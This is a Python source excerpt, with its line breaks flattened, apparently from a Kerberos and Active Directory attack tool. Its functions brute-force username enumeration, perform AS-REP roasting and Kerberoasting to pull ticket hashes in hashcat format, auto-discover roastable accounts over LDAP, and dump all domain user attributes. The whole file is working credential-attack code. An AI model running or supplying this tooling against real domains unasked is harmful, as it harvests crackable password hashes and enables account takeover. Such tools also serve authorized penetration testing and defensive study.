async def brute(host, targets, out_file=None, show_negatives=False): """ targets List<KerberosSPN> """ try: logger.debug('[KERBEROS][BRUTE] User enumeration starting') target = KerberosTarget(host) for spn in targets: ke = KerberosUserEnum(target, spn) result = await ke.run() if result is True: if out_file: with open(out_file, 'a') as f: f.write(result + '\r\n') else: print('[+] %s' % str(spn)) else: if show_negatives is True: print('[-] %s' % str(spn)) logger.info('[KERBEROS][BRUTE] User enumeration finished') return None, None except Exception as e: return None, e
async def amain(args): if args.command == 'tgs': logging.debug('[TGS] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() spn = KerberosSPN.from_user_email(args.spn) logging.debug('[TGS] target user: %s' % spn.get_formatted_pname()) logging.debug('[TGS] fetching TGT') kcomm = AIOKerberosClient(cred, target) await kcomm.get_TGT() logging.debug('[TGS] fetching TGS') await kcomm.get_TGS(spn) kcomm.ccache.to_file(args.out_file) logging.debug('[TGS] done!') elif args.command == 'tgt': logging.debug('[TGT] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() logging.debug('[TGT] cred: %s' % cred) logging.debug('[TGT] target: %s' % target) kcomm = AIOKerberosClient(cred, target) logging.debug('[TGT] fetching TGT') await kcomm.get_TGT() kcomm.ccache.to_file(args.out_file) logging.debug('[TGT] Done! TGT stored in CCACHE file') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] targets = get_targets_from_file(args, False) targets += get_target_from_args(args, False) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('[ASREPRoast] loaded %d targets' % len(targets)) logging.debug( '[ASREPRoast] will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosTarget(args.address) ar = APREPRoast(ks) hashes = [] for target in targets: h = await ar.run(target, override_etype=[args.etype]) hashes.append(h) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('Kerberoast loaded %d targets' % len(targets)) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() ar = Kerberoast(target, cred) hashes = await ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'brute': target = KerberosTarget(args.address) with open(args.targets, 'r') as f: for line in f: line = line.strip() spn = KerberosSPN() spn.username = line spn.domain = args.realm ke = KerberosUserEnum(target, spn) result = await ke.run() if result is True: if args.out_file: with open(args.out_file, 'a') as f: f.write(result + '\r\n') else: print('[+] Enumerated user: %s' % str(spn)) logging.info('Kerberos user enumeration complete') elif args.command == 'spnroast-sspi': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn( spn_name.get_formatted_pname()) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast-multiplexor': #hiding the import so it's not necessary to install multiplexor await spnmultiplexor(args) elif args.command == 'auto': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') domain = args.dc_ip url = 'ldap+sspi-ntlm://%s' % domain msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] results = [] errors = [] async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[args.etype]) results.append(res) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'ldap': ldap_url = MSLDAPURLDecoder(args.ldap_url) client = ldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: async for user in client.get_all_service_users(): cnt += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] SPN users') async for user, err in client.get_all_service_users(): if err is not None: raise err cnt += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] ASREP users') async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]))